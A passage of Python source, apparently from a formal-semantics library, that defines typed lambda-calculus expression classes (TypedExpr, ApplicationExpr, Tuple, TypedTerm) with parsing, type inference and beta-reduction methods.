type inconsistent\n with the specified one.\n \"\"\"\n\n seq = cls.try_parse_term_sequence(s, lower_bound=1, upper_bound=1,\n assignment=assignment)\n return seq[0]\n\n @classmethod\n def find_term_locations(cls, s, i=0):\n \"\"\"Find locations in a string `s` that are term names.\"\"\"\n term_re = re.compile(r'([a-zA-Z0-9]+)(_)?')\n unfiltered_result = parsing.find_pattern_locations(term_re, s, i=i,\n end=None)\n result = list()\n for r in unfiltered_result:\n if r.start() > 0 and s[r.start() - 1] == \".\":\n # result is prefaced by a \".\", and therefore is a functional\n # call or attribute\n continue\n result.append(r)\n return result\n\n @classmethod\n def expand_terms(cls, s, i=0, assignment=None, ignore=None):\n \"\"\"Treat terms as macros for term_factory calls. Attempt to find all\n term strings, and replace them with eval-able factory calls.\n\n This is an expanded version of the original regex approach; one reason\n to move away from that is that this will truely parse the types.\"\"\"\n terms = cls.find_term_locations(s, i)\n if ignore is None:\n ignore = set()\n offset = 0\n for t in terms:\n if t.start() + offset < i:\n # parsing has already consumed this candidate term, ignore.\n # (E.g. an \"e\" in a type signature.)\n continue\n (name, typ, end) = cls.parse_term(s, t.start() + offset,\n return_obj=False, assignment=assignment)\n if name is None:\n logger.warning(\"Unparsed term '%s'\" % t.group(0)) # TODO: more?\n continue\n elif name in ignore:\n continue\n # ugh this is sort of absurd\n if typ is None:\n replace = ('TypedExpr.term_factory(\"%s\", typ=None, assignment=assignment)' % (name))\n else:\n replace = ('TypedExpr.term_factory(\"%s\", typ=\"%s\", assignment=assignment)' % (name, repr(typ)))\n s = s[0:t.start() + offset] + replace + s[end:]\n i = t.start() + offset + len(replace)\n len_original = end - (t.start() + offset)\n offset += len(replace) - len_original\n return s\n\n\n @classmethod\n def parse_term(cls, s, i=0, return_obj=True, assignment=None):\n\n \"\"\"Parse position `i` in `s` as a term expression. A term expression\n is some alphanumeric sequence followed optionally by an underscore and\n a type. If a type is not specified locally, but is present in \n `assignment`, use that. If a type is specified and is present in\n `assignment`, check type compatibility immediately.\"\"\"\n\n ts = get_type_system()\n term_name, next = parsing.consume_pattern(s, i, r'([a-zA-Z0-9]+)(_)?',\n return_match=True)\n if not term_name:\n if return_obj:\n return (None, i)\n else:\n return (None, None, i)\n if term_name.group(2):\n # try to parse a type\n # if there is a _, will force an attempt\n typ, end = ts.type_parser_recursive(s, next)\n else:\n typ = None\n end = next\n\n if return_obj:\n term = cls.term_factory(term_name.group(1), typ=typ,\n assignment=assignment, preparsed=True)\n return (term, end)\n else:\n return (term_name.group(1), typ, end)\n\n @classmethod\n def term_factory(cls, s, typ=None, assignment=None, preparsed=False):\n \"\"\"Attempt to construct a TypedTerm from argument s.\n\n If s is already a TypedTerm, return a copy of the term.\n If s is a string, try to parse the string as a term name. (see\n try_parse_typed_term)\n Otherwise, fail.\n \"\"\"\n # TODO: if handed a complex TypedExpr, make a term referring to it??\n if isinstance(typ, str):\n ts = get_type_system()\n typ = ts.type_parser(typ)\n if (isinstance(s, TypedTerm)):\n # todo: handle conversion to custom\n result = s.copy()\n if typ is not None:\n result = result.try_adjust_type(typ, assignment=assignment)\n return result\n elif (isinstance(s, str)):\n if typ is None and not preparsed:\n v, typ = cls.try_parse_typed_term(s, assignment=assignment, strict=True)\n else:\n v = s\n v = utils.num_or_str(v)\n if typ is not None:\n type_vars = typ.bound_type_vars()\n global _constants_use_custom\n if _constants_use_custom and not is_var_symbol(v):\n return CustomTerm(v, typ=typ, assignment=assignment)\n else:\n return TypedTerm(v, typ=typ, assignment=assignment)\n else:\n raise NotImplementedError\n\n @classmethod\n def factory(cls, *args, assignment=None):\n \"\"\"Factory method for TypedExprs. Will return a TypedExpr or subclass.\n\n Special cases:\n * single arg, is a TypedExpr: will return a copy of that arg. (See\n ensure_typed_expr for alternate semantics.)\n * single arg, is a number: will return a TypedTerm using that number.\n * single arg, is a variable/constant name: will return a TypedTerm\n using that name. (Happens in parser magic.)\n * single arg, complex expression: will parse it using python syntax.\n (Happens in parser magic.)\n * multiple args: call the standard constructor.\n \"\"\"\n ### NOTE: do not edit this function lightly...\n global _parser_assignment\n if assignment is None:\n if _parser_assignment is None:\n assignment = dict()\n else:\n assignment = _parser_assignment # not remotely thread-safe\n if len(args) == 1 and isinstance(args[0], TypedExpr):\n # handing this a single TypedExpr always returns a copy of the\n # object. I set this case aside for clarity. subclasses must\n # implement copy() for this to work right.\n return args[0].copy()\n if len(args) == 0:\n return None #TODO something else?\n elif len(args) == 1:\n # args[0] is either an unsaturated function, a term, or a string\n # that needs parsed.\n # in the first two cases, return a unary TypedExpr\n s = args[0]\n if s is True or s is False or isinstance(s, Number):\n return from_python(s)\n elif isinstance(s, str):\n #return cls.parse_expr_string(s, assignment)\n return cls.parse(s, assignment)\n else:\n raise NotImplementedError\n else:\n # Argument length > 1. \n # This code path is for constructing complex TypedExprs where\n # args[0] must be a function / operator. Will potentially recurse\n # via ensure_typed_expr on all arguments.\n\n # this is redundant with the constructor, but I can't currently find\n # a way to simplify. After this point, all elements of args will be\n # TypedExprs.\n remainder = tuple([cls.ensure_typed_expr(a) for a in args[1:]])\n\n if isinstance(args[0], str):\n global registry\n if args[0] in registry.ops:\n # args[0] is a special-cased operator symbol\n return op_expr_factory(*((args[0],) + remainder))\n\n # the only kind of operator-expression generated after this point is\n # an ApplicationExpr.\n operator = cls.ensure_typed_expr(args[0])\n\n # package longer arg lengths in Tuples. After this point, there are\n # only two elements under consideration.\n if len(remainder) > 1:\n arg = Tuple(args[1:])\n else:\n arg = remainder[0]\n if (not operator.type.functional()) and operator.type_guessed:\n # special case: see if the type of the operator is guessed and\n # coerce accordingly\n\n # prevent future coercion of the argument\n arg.type_not_guessed()\n coerced_op = operator.try_coerce_new_argument(arg.type,\n assignment=assignment)\n if coerced_op is not None:\n logger.info(\n \"Coerced guessed type for '%s' into %s, \"\n \"to match argument '%s'\"\n % (repr(operator), coerced_op.type, repr(arg)))\n operator = coerced_op\n else:\n logger.warning(\n \"Unable to coerce guessed type %s for '%s' \"\n \"to match argument '%s' (type %s)\"\n % (operator.type, repr(operator), repr(arg), arg.type))\n result = ApplicationExpr(operator, arg, assignment=assignment)\n if result.let:\n result = derived(result.compact_type_vars(), result,\n \"Let substitution\")\n return result\n\n @classmethod\n def ensure_typed_expr(cls, s, typ=None, assignment=None):\n \"\"\"Coerce s to a typed expression if necessary, otherwise, return s.\"\"\"\n if isinstance(s, TypedExpr):\n if assignment is not None:\n result = s.under_assignment(assignment)\n else:\n result = s\n else:\n try:\n result = cls.factory(s, assignment=assignment)\n except NotImplementedError:\n raise ValueError(\n \"Do not know how to ensure TypedExpr for '%s'\" % repr(s))\n if typ is None:\n return result\n else:\n r_adjusted = result.try_adjust_type(typ, assignment=assignment)\n if r_adjusted is None:\n # make the reason a bit more coherent for people who don't\n # really know about type inference vs type checking\n reason = ((typ.is_polymorphic() or result.type.is_polymorphic())\n and \"type inference\" or \"type checking\")\n raise TypeMismatch(result, typ, mode=reason)\n else:\n return r_adjusted\n\n def try_coerce_new_argument(self, typ, remove_guessed=False,\n assignment=None):\n return None\n\n def type_not_guessed(self):\n \"\"\"Recursively set that the type of `self` is not a guess.\"\"\"\n self.type_guessed = False\n if isinstance(self.op, TypedExpr):\n self.op.type_not_guessed()\n\n def copy(self):\n \"\"\"Make a copy of the expression. Will not produce a deep copy.\n\n Relies on correctly implement `copy_local`.\n \"\"\"\n return self.copy_local(*self)\n\n def copy_local(self, *args, type_check=True):\n \"\"\"\n Make a copy of the element preserving everything *except* the AST.\n\n The default implementation calls the constructor with `args`, so if this\n isn't appropriate, you must override.\"\"\"\n return type(self)(*args)\n\n def deep_copy(self):\n accum = list()\n for p in self:\n if isinstance(p, TypedExpr):\n accum.append(p.deep_copy())\n else:\n accum.append(p)\n return self.copy_local(*accum, type_check=False)\n\n def type_env(self, constants=False, target=None, free_only=True):\n env = dict()\n for part in self:\n if isinstance(part, TypedExpr):\n env = merge_type_envs(env, part.type_env(constants=constants,\n target=target, free_only=free_only))\n return env\n\n def regularize_type_env(self, assignment=None, constants=False,\n target=None):\n if assignment is None:\n assignment = dict()\n env = self.get_type_env()\n return self.under_type_assignment(env.type_mapping,\n merge_intersect=False)\n\n\n def compact_type_vars(self, target=None, unsafe=None, used_vars_only=True,\n store_mapping=False):\n \"\"\"Compact the type variables on `self` into X variables with a low\n number. By default this will not store the mapping that resulted in\n the compaction, i.e. the type environment is a clean slate. For this\n reason, it is suitable only for let-bound contexts.\"\"\"\n history_env = self.get_type_env()\n if len(history_env.type_var_set) == 0:\n return self\n c = self.copy()\n # note: the following is already triggered by copy. If this behavior\n # changes, this needs updating.\n env = c.get_type_env()\n if len(env.type_var_set) == 0:\n return c\n if used_vars_only:\n tenv = env.type_var_set - set(env.type_mapping.keys())\n else:\n tenv = env.type_var_set\n if len(tenv) == 0:\n return self\n compacted_map = types.compact_type_set(tenv, unsafe=unsafe)\n result = self.under_type_injection(compacted_map)\n result._type_env_history = history_env\n if not store_mapping:\n result.get_type_env(force_recalc=True)\n return result\n\n\n def freshen_type_vars(self, target=None, unsafe=None, used_vars_only=False,\n store_mapping=False):\n history_env = self.get_type_env()\n if len(history_env.type_var_set) == 0:\n return self\n c = self.copy()\n # note: the following is already triggered by copy. If this behavior\n # changes, this needs updating.\n env = c.get_type_env()\n if used_vars_only:\n tenv = env.type_var_set - set(env.type_mapping.keys())\n else:\n tenv = env.type_var_set\n if len(tenv) == 0:\n return self\n fresh_map = types.freshen_type_set(tenv, unsafe=unsafe)\n result = self.under_type_injection(fresh_map)\n result._type_env_history = history_env\n if not store_mapping:\n result.get_type_env(force_recalc=True)\n return result\n\n def let_type(self, typ):\n result = self.try_adjust_type(typ)\n if result is None:\n return None\n if result.let:\n result = result.compact_type_vars()\n return result\n\n def has_type_vars(self):\n return len(self.get_type_env().type_var_set) > 0\n\n def _unsafe_under_type_injection(self, mapping):\n if len(mapping) == 0:\n return self\n for i in range(len(self)):\n self._unsafe_subst(i, self[i].under_type_injection(mapping))\n self.type = self.type.sub_type_vars(mapping)\n return self\n\n def under_type_injection(self, mapping):\n accum = list()\n for p in self:\n accum.append(p.under_type_injection(mapping))\n r = self.copy_local(*accum, type_check=False)\n r.type = r.type.sub_type_vars(mapping)\n if r.term():\n r.get_type_env(force_recalc=True)\n return r\n\n def under_type_assignment(self, mapping, reset=False, merge_intersect=True):\n # TODO: For somewhat irritating reasons, this is currently a _lot_\n # slower if reset=True\n\n if len(mapping) == 0:\n return self\n dirty = False\n parts = list()\n copy = self\n for part in copy:\n new_part = part.under_type_assignment(mapping, reset=reset)\n if new_part is not part:\n dirty = True\n else:\n if reset:\n new_part = new_part.copy()\n new_part.get_type_env(force_recalc=True)\n parts.append(new_part)\n # this may or may not be recalculated by copy_local. The main case\n # where it isn't is terms.\n copy_type = copy.type.sub_type_vars(mapping)\n # Note: we still need to reset the subordinate type environments even\n # in this case.\n if copy_type == self.type and not dirty:\n return self\n result = copy.copy_local(*parts)\n if result.term():\n result.type = copy_type\n if reset:\n result.get_type_env(force_recalc=True)\n if merge_intersect:\n result._type_env = result.get_type_env().intersect_merge(\n TypeEnv(type_mapping=mapping))\n else:\n result._type_env = result.get_type_env().merge(\n TypeEnv(type_mapping=mapping))\n # need to set a derivation step for this in the calling function.\n result.derivation = self.derivation\n return result\n\n def under_assignment(self, assignment):\n \"\"\"Use `assignment` to replace any appropriate variables in `self`.\"\"\"\n # do this first so that any errors show up before the recursive step\n if assignment is None:\n a2 = dict()\n else:\n a2 = {key: self.ensure_typed_expr(assignment[key])\n for key in assignment}\n return term_replace_unify(self, a2)\n\n # TODO: can the type env be used instead? It is effectively already\n # memoizing a superset of this information\n def free_terms(self, var_only=False):\n \"\"\"Find the set of variables that are free in the typed expression.\n \"\"\"\n result = set()\n # term case handled in subclass\n if isinstance(self.op, TypedExpr):\n result.update(self.op.free_terns(var_only=var_only))\n for a in self.args:\n result.update(a.free_terms(var_only=var_only))\n return result\n\n def free_variables(self):\n return self.free_terms(var_only=True)\n\n def bound_variables(self):\n \"\"\"Find the set of variables that are bound (somewhere) in a typed\n expression.\n\n Note that this may be overlapping with the set of free variables.\n \"\"\"\n result = set()\n for a in self.args:\n result.update(a.bound_variables())\n return result\n\n def find_safe_variable(self, starting=\"x\"):\n \"\"\"Find an a safe alpha variant of the starting point (by default: 'x'),\n that is not used in the expression.\"\"\"\n blockset = self.free_variables() | self.bound_variables()\n varname = alpha_variant(starting, blockset)\n return varname\n\n def term(self):\n return (isinstance(self.op, str) and len(self.args) == 0)\n\n def functional(self):\n funtype = unify(self.type, tp(\"\"))\n return (funtype is not None)\n\n def atomic(self):\n return len(self.args) == 0\n\n def simplify(self):\n return self\n\n def simplify_all(self):\n result = self\n dirty = False\n for i in range(len(result.args)):\n new_arg_i = result.args[i].simplify_all()\n if new_arg_i is not result.args[i]:\n dirty = True\n result = derived(result.subst(i, new_arg_i), result,\n desc=(\"Recursive simplification of argument %i\"\n % i),\n subexpression=new_arg_i)\n result = result.simplify()\n return result\n\n def reducible(self):\n return False\n\n def reduce(self):\n assert (not self.reducible())\n return self\n\n def reduce_sub(self, i):\n \"\"\"Applies reduce to a constituent term, determined by argument i.\"\"\"\n new_arg_i = self.args[i].reduce()\n if new_arg_i is not self.args[i]:\n result = self.copy()\n result.args[i] = new_arg_i\n if len(result.args) == 2 and isinstance(result, BindingOp):\n reason = \"Reduction of body\"\n else:\n reason = \"Reduction of operand %s\" % (i)\n return derived(result, self, desc=reason)\n return self\n\n def reduce_all(self):\n \"\"\"Maximally reduce function-argument combinations in `self`.\"\"\"\n\n # this is a dumb strategy: it's either not fully general (but I haven't\n # found the case yet), or it's way too inefficient, I'm not sure which;\n # probably both. The potential overkill is the recursive step.\n # TODO: research on reduction strategies.\n # TODO: add some kind of memoization?\n\n # uncomment this to see just how bad this function is...\n #print(\"reduce_all on '%s'\" % repr(self))\n result = self\n dirty = False\n for i in range(len(result.args)):\n new_arg_i = result.args[i].reduce_all()\n if new_arg_i is not result.args[i]:\n if not dirty:\n dirty = True\n args = list(result.args)\n args[i] = new_arg_i\n next_step = result.copy_local(*args)\n if len(result.args) == 2 and isinstance(result, BindingOp):\n reason = \"Recursive reduction of body\"\n else:\n reason = \"Recursive reduction of operand %s\" % (i)\n result = derived(next_step, result, desc=reason,\n subexpression=new_arg_i)\n self_dirty = False\n while result.reducible():\n new_result = result.reduce()\n if new_result is not result:\n dirty = True\n self_dirty = True\n result = new_result # no need to add a derivation here, reduce\n # will do that already\n else:\n break # should never happen...but prevent loops in case of error\n if self_dirty:\n new_result = result.reduce_all() # TODO: is this overkill?\n result = new_result\n return result\n\n\n def calculate_partiality(self, vars=None):\n condition = from_python(True)\n new_parts = list()\n for part in self:\n part_i = part.calculate_partiality(vars=vars)\n if isinstance(part_i, Partial):\n condition = condition & part_i.condition\n part_i = part_i.body\n new_parts.append(part_i)\n new_self = self.copy_local(*new_parts)\n condition = condition.simplify_all()\n if condition == from_python(True):\n intermediate = derived(Partial(new_self, condition), self,\n \"Partiality simplification\")\n return derived(new_self, intermediate, \"Partiality simplification\")\n else:\n return derived(Partial(new_self, condition), self,\n \"Partiality simplification\")\n\n\n def __call__(self, *args):\n \"\"\"Attempt to construct a saturated version of self. This constructs a\n composite TypedExpr, with the function (`self`) as the operator and the\n argument(s) as the arguments. Type checking happens immediately.\"\"\"\n \n return TypedExpr.factory(self, *args)\n\n\n def __repr__(self):\n \"\"\"Return a string representation of the TypedExpr.\n\n This is guaranteed (barring bugs) to produce a parsable string that\n builds the same object.\n \"\"\"\n assert not isinstance(self.op, TypedExpr)\n if not self.args: # Constant or proposition with arity 0\n return repr(self.op)\n elif len(self.args) == 1: # Prefix operator\n return repr(self.op) + repr(self.args[0])\n else: # Infix operator\n return '(%s)' % (' '+self.op+' ').join([repr(a) for a in self.args])\n\n def latex_str(self, **kwargs):\n \"\"\"Return a representation of the TypedExpr suitable for Jupyter\n Notebook display.\n\n In this case the output should be pure LaTeX.\"\"\"\n assert not isinstance(self.op, TypedExpr)\n if not self.args:\n return ensuremath(str(self.op))\n # past this point in the list of cases should only get hard-coded\n # operators\n elif len(self.args) == 1: # Prefix operator\n return ensuremath(self.op + self.args[0].latex_str(**kwargs))\n else: # Infix operator\n return ensuremath('(%s)' %\n (' ' + self.op + ' ').join(\n [a.latex_str(**kwargs) for a in self.args]))\n\n def _repr_latex_(self):\n return self.latex_str()\n\n def __str__(self):\n return \"%s, type %s\" % (self.__repr__(), self.type)\n\n def __eq__(self, other):\n \"\"\"x and y are equal iff their ops and args are equal.\n\n Note that this is a _syntactic_ notion of equality, not a _semantic_\n notion -- for example, two expressions would fail this notion of\n equality if one reduces to the other but that reduction has not been\n done. Alphabetic variants will also not come out as equal.\"\"\"\n\n # need to explicitly check this in case recursion accidentally descends into a string Op\n # TODO revisit\n if isinstance(other, TypedExpr):\n return (other is self) or (self.op == other.op and self.args == other.args and self.type == other.type)\n else:\n return False\n #TODO: equality by semantics, not syntax?\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n \"\"\"Need a hash method so TypedExprs can live in dicts.\n\n Note that there are some special cases to worry about: ListedSets are\n not guaranteed to hash correctly.\n \"\"\"\n # TODO: deal with ListedSets\n return hash(self.op) ^ hash(tuple(self.args)) ^ hash(self.type)\n\n def __getitem__(self, i):\n \"\"\"If `i` is a number, returns a part of `self` by index. \n index 0 always gives the operator.\n index >=1 gives whatever arguments there are. Note that this is\n shifted from the indexing of `self.args`.\n\n If `i` is a TypedExpr, try to construct an expression representing\n indexing.\"\"\"\n if isinstance(i, TypedExpr):\n return TupleIndex(self, i)\n else:\n return self.args[i]\n\n def __len__(self):\n \"\"\"Return the number of parts of `self`, including the operator.\"\"\"\n return len(self.args)\n\n # See http://www.python.org/doc/current/lib/module-operator.html\n # Not implemented: not, abs, pos, concat, contains, *item, *slice\n def __and__(self, other): return self.factory('&', self, other)\n def __invert__(self): return self.factory('~', self)\n def __lshift__(self, other): return self.factory('<<', self, other)\n def __rshift__(self, other): return self.factory('>>', self, other)\n def __or__(self, other): return self.factory('|', self, other)\n def __xor__(self, other): return self.factory('^', self, other)\n def __mod__(self, other): return self.factory('<=>', self, other)\n\n def __lt__(self, other): return self.factory('<', self, other)\n def __le__(self, other): return self.factory('<=', self, other)\n def __ge__(self, other): return self.factory('>=', self, other)\n def __gt__(self, other): return self.factory('>', self, other)\n def __add__(self, other): return self.factory('+', self, other)\n def __sub__(self, other): return self.factory('-', self, other)\n def __div__(self, other): return self.factory('/', self, other)\n def __truediv__(self, other):return self.factory('/', self, other)\n def __mul__(self, other): return self.factory('*', self, other)\n def __neg__(self): return self.factory('-', self)\n def __pos__(self): return self.factory('+', self)\n def __pow__(self, other): return self.factory('**', self, other)\n\n def __bool__(self):\n # otherwise, python tries to use the fact that these objects implement a\n # container interface to convert to bool, which can lead to weird\n # results.\n # TODO: revisit... (see also false_term)\n return True\n\n\nTypedExpr.add_local('TypedExpr', TypedExpr)\n\n\nclass ApplicationExpr(TypedExpr):\n def __init__(self, fun, arg, defer=False, assignment=None, type_check=True):\n if type_check and not defer:\n tc_result = self.fa_type_inference(fun, arg, assignment)\n if tc_result is None:\n if not fun.functional():\n raise TypeMismatch(fun, arg, \"Function-argument expression: left subexpression is not a function\")\n else:\n raise TypeMismatch(fun, arg, \"Function-argument expression: mismatched types\")\n fun, arg, out_type, history = tc_result\n op = \"Apply\"\n args = [fun, arg]\n self.type = out_type\n else:\n history = False\n op = \"Apply\"\n args = [fun, arg]\n # note: fun.type MUST be functional!\n self.type = fun.type.right\n super().__init__(op, *args, defer=defer)\n if fun.let and arg.let:\n self.let = True\n\n if history:\n # bit of a hack: build a derivation with the deferred version as\n # the origin\n old = ApplicationExpr(fun, arg, defer=True)\n derived(self, old, desc=\"Type inference\") \n if isinstance(fun, LFun):\n arg.type_not_guessed()\n else:\n # not 100% that the following is the right fix...\n try:\n self.type_guessed = fun.type_guessed\n except AttributeError:\n self.type_guessed = False\n\n def copy(self):\n return self.copy_local(self.args[0], self.args[1])\n\n def copy_local(self, fun, arg, type_check=True):\n result = ApplicationExpr(fun, arg, defer=self.defer,\n type_check=type_check)\n result.let = self.let\n result.type_guessed = self.type_guessed\n return result\n\n def latex_str(self, **kwargs):\n fun = self.args[0]\n arg = self.args[1]\n if isinstance(arg, Tuple):\n arg_str = arg.latex_str(**kwargs) # tuple already generates parens\n else:\n arg_str = \"(%s)\" % (arg.latex_str(**kwargs))\n if isinstance(fun, CustomTerm):\n return ensuremath(fun.custom_appl_latex(arg_str))\n elif isinstance(fun, LFun):\n return ensuremath(\"{[%s]}%s\" % (fun.latex_str(**kwargs), arg_str))\n else:\n return ensuremath('%s%s' % (fun.latex_str(**kwargs), arg_str))\n\n def __repr__(self):\n \"\"\"Return a string representation of the TypedExpr.\n\n This is guaranteed (barring bugs) to produce a parsable string that\n builds the same object.\n \"\"\"\n fun = self.args[0]\n arg = self.args[1]\n if isinstance(arg, Tuple):\n arg_str = repr(arg) # tuple already generates parens\n else:\n arg_str = \"(%s)\" % (repr(arg))\n if isinstance(fun, CustomTerm):\n return fun.custom_appl(arg_str) # TODO: ???\n elif isinstance(fun, LFun):\n return \"(%s)%s\" % (repr(fun), arg_str)\n else:\n return '%s%s' % (repr(fun), arg_str)\n\n def try_adjust_type_local(self, new_type, derivation_reason, assignment,\n env):\n fun = self.args[0]\n arg = self.args[1]\n (new_fun_type, new_arg_type, new_ret_type) = get_type_system().unify_fr(\n fun.type, new_type, assignment=env.type_mapping)\n if new_fun_type is None:\n return None\n new_fun = fun.try_adjust_type(new_fun_type,\n derivation_reason=derivation_reason,\n assignment=assignment)\n if new_fun is None:\n return None\n new_arg = arg.try_adjust_type(new_arg_type,\n derivation_reason=derivation_reason,\n assignment=assignment)\n if new_arg is None:\n return None\n result = self.copy_local(new_fun, new_arg, type_check=False)\n return result\n\n def try_coerce_new_argument(self, typ, remove_guessed=False,\n assignment=None):\n \"\"\"For guessed types, see if it is possible to coerce a new argument.\n Will recurse to find guessed types.\n\n This is not type inference. Rather, it is a convenience shorthand for\n writing n-ary extensional predicates without type annotation.\"\"\"\n if not self.type_guessed:\n return None\n result = self.args[0].try_coerce_new_argument(typ,\n assignment=assignment)\n\n if result is not None:\n copy = ApplicationExpr(result, self.args[1])\n if (remove_guessed):\n result.type_guessed = False\n return copy\n else:\n return None\n\n\n @classmethod\n def fa_type_inference(cls, fun, arg, assignment):\n ts = get_type_system()\n old_fun = None\n old_arg = None\n if fun.let:\n fun = fun.freshen_type_vars()\n if arg.let:\n arg = arg.freshen_type_vars()\n history = False\n (f_type, a_type, out_type) = ts.unify_fa(fun.type, arg.type)\n if f_type is None:\n return None\n\n if fun.type != f_type:\n fun = fun.try_adjust_type_caching(f_type,\n derivation_reason=\"Type inference (external)\",\n assignment=assignment)\n history = True\n\n if a_type != arg.type:\n arg = arg.try_adjust_type_caching(a_type,\n derivation_reason=\"Type inference (external)\",\n assignment=assignment)\n history = True\n\n return (fun, arg, out_type, history)\n\n def reducible(self):\n if isinstance(self.args[0], LFun) or isinstance(self.args[0],\n Disjunctive):\n return True\n return False\n\n def reduce(self):\n \"\"\"if there are arguments to op, see if a single reduction is\n possible.\"\"\"\n if not self.reducible():\n return self\n else:\n return derived(self.args[0].apply(self.args[1]), self,\n desc=\"Reduction\")\n\n def calculate_partiality(self, vars=None):\n # defer calculation of the argument until beta reduction has occurred\n if isinstance(self.args[0], LFun):\n return self\n else:\n return super().calculate_partiality()\n\n @classmethod\n def random(self, random_ctrl_fun):\n from . import test\n ftyp = get_type_system().random_from_class(types.FunType)\n fun = test.random_lfun_force_bound(ftyp, random_ctrl_fun)\n arg = random_ctrl_fun(typ=ftyp.left)\n return ApplicationExpr(fun, arg)\n\n\nclass Tuple(TypedExpr):\n \"\"\"TypedExpr wrapper on a tuple.\n\n This works basically as a python tuple would, and is indicated using commas\n within a parenthetical. `args` is a list containing the elements of the\n tuple.\"\"\"\n def __init__(self, args, typ=None, type_check=True):\n new_args = list()\n type_accum = list()\n for i in range(len(args)):\n if typ is None or not type_check:\n a_i = self.ensure_typed_expr(args[i])\n else:\n a_i = self.ensure_typed_expr(args[i], typ=typ[i])\n new_args.append(a_i)\n type_accum.append(a_i.type)\n super().__init__(\"Tuple\", *new_args)\n self.type = types.TupleType(*type_accum)\n\n def copy(self):\n return Tuple(self.args)\n\n def copy_local(self, *args, type_check=True):\n return Tuple(args, typ=self.type)\n\n def index(self, i):\n return self.args[i]\n\n def term(self):\n return False\n\n def tuple(self):\n \"\"\"Return a python `tuple` version of the Tuple object.\"\"\"\n return tuple(self.args)\n\n def try_adjust_type_local(self, unified_type, derivation_reason,\n assignment, env):\n content = [self.args[i].try_adjust_type(unified_type[i],\n derivation_reason=derivation_reason,\n assignment=assignment)\n for i in range(len(self.args))]\n return self.copy_local(*content)\n\n def __repr__(self):\n return \"(\" + \", \".join([repr(a) for a in self.args]) + \")\"\n\n def latex_str(self, parens=True, **kwargs):\n inner = \", \".join([a.latex_str(**kwargs) for a in self.args])\n if parens:\n return ensuremath(\"(\" + inner + \")\")\n else:\n return ensuremath(inner)\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1, max_tuple_len=5, allow_empty=True):\n if allow_empty:\n r = range(max_tuple_len+1)\n else:\n r = range(max_tuple_len+1)[1:]\n length = random.choice(r)\n signature = [get_type_system().random_type(max_type_depth, 0.5)\n for i in range(length)]\n args = [ctrl(typ=t) for t in signature]\n return Tuple(args)\n\n\n\n# suppress any constant type\nglobal suppress_constant_type\nsuppress_constant_type = False\n\n# suppress only constant predicates\n# a predicate type is either , or any characteristic function of a set of\n# tuples\nglobal suppress_constant_predicate_type\nsuppress_constant_predicate_type = True\n\nglobal suppress_bound_var_types\nsuppress_bound_var_types = True\n\nclass TypedTerm(TypedExpr):\n \"\"\"used for terms of arbitrary type. Note that this is not exactly\n standard usage of 'term'. In general, these cover variables and constants.\n The name of the term is 'op', and 'args' is empty.\n\n The attribute 'type_guessed' is flagged if the type was not specified; this\n may result in coercion as necessary.\"\"\"\n def __init__(self, varname, typ=None, latex_op_str=None, assignment=None,\n defer_type_env=False, type_check=True):\n # NOTE: does not call super\n self.op = varname\n self.derivation = None\n self.defer = False\n self.let = False\n update_a = False\n if typ is None:\n if assignment is not None and self.op in assignment:\n self.type = assignment[self.op].type\n self.type_guessed = False\n else:\n self.type = default_type(varname)\n self.type_guessed = True\n else:\n self.type_guessed = False\n self.type = typ\n if type_check and not defer_type_env: # note: cannot change type in\n # place safely with this code here\n env = self.calc_type_env()\n if assignment is not None:\n if self.op in assignment and typ is not None:\n env.add_var_mapping(self.op, assignment[self.op].type)\n self.type = env.var_mapping[self.op]\n self._type_env = env\n\n self.suppress_type = False\n if isinstance(self.op, Number): # this isn't very elegant...\n if self.type != type_n:\n raise TypeMismatch(self.op, self.type,\n \"Numeric must have type n\")\n self.type_guessed = False\n self.suppress_type = True # suppress types for numbers\n self.args = list()\n self.latex_op_str = latex_op_str\n if update_a:\n assignment[self.op] = self\n\n def copy(self):\n return TypedTerm(self.op, typ=self.type)\n\n def copy_local(self, type_check=True):\n result = TypedTerm(self.op, typ=self.type,\n latex_op_str=self.latex_op_str,\n type_check=type_check)\n if not type_check:\n result._type_env = self._type_env.copy()\n result.type_guessed = self.type_guessed\n return result\n\n def calc_type_env(self, recalculate=False):\n env = TypeEnv()\n env.add_var_mapping(self.op, self.type)\n return env\n\n def type_env(self, constants=False, target=None, free_only=True):\n if self.constant() and not constants:\n return set()\n if not target or self.op in target:\n return {self.op: self}\n return set()\n\n def free_terms(self, var_only=False):\n if not var_only or is_var_symbol(self.op):\n return {self.op}\n else:\n return set()\n\n def term(self):\n return True\n\n def apply(self, arg):\n return self(arg)\n\n @property\n def term_name(self):\n return self.op\n\n def constant(self):\n \"\"\"Return true iff `self` is a constant.\n\n This follows the prolog convention: a constant is a term with a\n capitalized first letter. Numbers are constants.\"\"\"\n return not is_var_symbol(self.op)\n\n def variable(self):\n \"\"\"Return true iff `self` is a variable.\n\n This follows the prolog convention: a variable is a term with a\n lowercase first letter.\"\"\"\n return is_var_symbol(self.op)\n\n def __repr__(self):\n return \"%s_%s\" % (self.op, repr(self.type))\n\n def should_show_type(self, assignment=None):\n if assignment and suppress_bound_var_types:\n if self.op in assignment:\n return False\n if self.suppress_type:\n return False\n if suppress_constant_type and self.constant():\n return False\n if suppress_constant_predicate_type:\n if (self.constant() and self.type.functional()\n and not isinstance(self.type, types.VariableType)):\n if ((self.type.left == types.type_e\n or isinstance(self.type.left, types.TupleType))\n and self.type.right == types.type_t):\n return False\n return True\n\n def try_coerce_new_argument(self, typ, remove_guessed = False,\n assignment=None):\n if not self.type_guessed:\n return None\n coerced_op = self.term_factory(self.op,\n typ=self.type.add_internal_argument(typ),\n preparsed=True)\n if not remove_guessed:\n coerced_op.type_guessed = True\n \n if assignment is not None and self.op in assignment:\n assignment[self.op] = coerced_op\n return coerced_op\n\n def __hash__(self):\n return hash(\"TypedTerm\") ^ super().__hash__()\n\n def latex_str(self, show_types=True, assignment=None, **kwargs):\n if self.latex_op_str is None:\n op = self.op\n else:\n op = self.latex_op_str\n if not show_types or not self.should_show_type(assignment=assignment):\n return ensuremath(\"{%s}\" % op)\n else:\n return ensuremath(\"{%s}_{%s}\" % (op, self.type.latex_str()))\n\n def _repr_latex_(self):\n return self.latex_str()\n\n random_term_base = {type_t : \"p\", type_e : \"x\", type_n : \"n\"}\n\n @classmethod\n def random(cls, random_ctrl_fun, typ=None, blockset=None, usedset=set(),\n prob_used=0.8, prob_var=0.5, max_type_depth=1):\n ts = get_type_system()\n if blockset is None:\n blockset = set()\n varname = None\n is_var = (random.random() <= prob_var)\n try_used = 